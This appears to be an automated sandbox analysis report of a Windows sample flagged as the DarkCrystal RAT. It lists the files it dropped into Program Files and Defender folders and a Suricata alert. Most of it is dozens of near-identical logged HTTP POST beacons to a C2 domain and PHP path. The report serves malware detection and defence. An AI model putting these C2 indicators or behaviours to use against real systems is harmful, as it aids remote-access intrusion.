Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Directory created: C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Directory created: C:\Program Files\Uninstall Information\6a193675dec995	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\6a193675dec995	Jump to behavior

Source: Gg6wivFINd.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: 7C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.pdb source: Gg6wivFINd.exe, 00000000.00000002.1714628177.0000000003A50000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49730 -> 188.114.96.3:80

Source: global traffic

TCP traffic: 192.168.2.4:51592 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1728Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 179596Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
